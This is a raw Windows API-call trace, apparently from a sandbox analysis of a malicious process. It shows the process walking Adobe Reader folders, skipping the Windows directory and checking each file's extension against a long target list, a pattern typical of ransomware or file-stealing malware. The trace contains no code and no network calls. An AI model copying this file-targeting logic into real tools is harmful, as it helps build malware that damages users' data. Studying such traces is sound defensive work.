dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0199.689] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.689] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0199.690] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.690] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0199.690] FindClose (in: hFindFile=0x4420720 | out: hFindFile=0x4420720) returned 1 [0199.690] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.690] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0199.690] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0199.690] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0199.690] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0199.690] FindClose (in: hFindFile=0x44205a0 | out: hFindFile=0x44205a0) returned 1 [0199.690] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0199.692] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0199.693] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.693] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0 [0199.693] FindClose (in: hFindFile=0x44205a0 | out: hFindFile=0x44205a0) returned 1 [0199.693] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0199.693] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 1 [0199.693] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.693] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0 [0199.694] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0199.694] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0199.694] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 0 [0199.694] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0199.694] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0199.694] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1 [0199.694] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x5490048 | out: hHeap=0x420000) returned 1 [0199.694] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0199.694] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.694] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0199.698] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.698] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0199.698] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0199.698] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0199.698] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0199.698] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0199.698] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.698] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0199.698] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.699] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0199.699] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.699] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0199.699] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.699] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0199.699] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.699] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0199.699] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.699] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0199.700] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.700] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0199.700] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.700] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0199.701] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.701] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0199.701] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.701] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0199.701] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.701] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0199.701] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.701] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0199.701] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.701] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0199.702] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.702] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0199.702] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.702] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0199.702] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr") returned 119 [0199.702] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr") returned 1 [0199.702] lstrlenW (lpString="hr-hr") returned 5 [0199.702] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hr-hr") returned -1 [0199.702] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4515f80 [0199.702] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr") returned 119 [0199.702] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\*", lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44207a0 [0199.702] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0199.703] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.703] lstrlenW (lpString="ui-strings.js") returned 13 [0199.703] lstrlenW (lpString=".1cd") returned 4 [0199.703] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0199.703] lstrlenW (lpString=".3ds") returned 4 [0199.703] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0199.703] lstrlenW (lpString=".3fr") returned 4 [0199.703] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0199.703] lstrlenW (lpString=".3g2") returned 4 [0199.703] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0199.703] lstrlenW (lpString=".3gp") returned 4 [0199.703] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0199.703] lstrlenW (lpString=".7z") returned 3 [0199.703] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0199.703] lstrlenW (lpString=".accda") returned 6 [0199.703] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0199.703] lstrlenW (lpString=".accdb") returned 6 [0199.703] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0199.703] lstrlenW (lpString=".accdc") returned 6 [0199.703] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0199.703] lstrlenW (lpString=".accde") returned 6 [0199.703] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0199.703] lstrlenW (lpString=".accdt") returned 6 [0199.703] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0199.703] lstrlenW (lpString=".accdw") returned 6 [0199.703] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0199.703] lstrlenW (lpString=".adb") returned 4 [0199.703] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0199.703] lstrlenW (lpString=".adp") returned 4 [0199.704] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0199.704] lstrlenW (lpString=".ai") returned 3 [0199.704] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0199.704] lstrlenW (lpString=".ai3") returned 4 [0199.704] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0199.704] lstrlenW (lpString=".ai4") returned 4 [0199.704] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0199.704] lstrlenW (lpString=".ai5") returned 4 [0199.704] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0199.704] lstrlenW (lpString=".ai6") returned 4 [0199.704] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0199.704] lstrlenW (lpString=".ai7") returned 4 [0199.704] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0199.704] lstrlenW (lpString=".ai8") returned 4 [0199.704] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0199.704] lstrlenW (lpString=".anim") returned 5 [0199.704] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0199.704] lstrlenW (lpString=".arw") returned 4 [0199.704] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0199.705] lstrlenW (lpString=".as") returned 3 [0199.705] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0199.705] lstrlenW (lpString=".asa") returned 4 [0199.705] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0199.705] lstrlenW (lpString=".asc") returned 4 [0199.705] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0199.705] lstrlenW (lpString=".ascx") returned 5 [0199.705] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0199.705] lstrlenW (lpString=".asm") returned 4 [0199.705] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0199.705] lstrlenW (lpString=".asmx") returned 5 [0199.705] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0199.705] lstrlenW (lpString=".asp") returned 4 [0199.705] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0199.705] lstrlenW (lpString=".aspx") returned 5 [0199.705] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0199.705] lstrlenW (lpString=".asr") returned 4 [0199.705] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 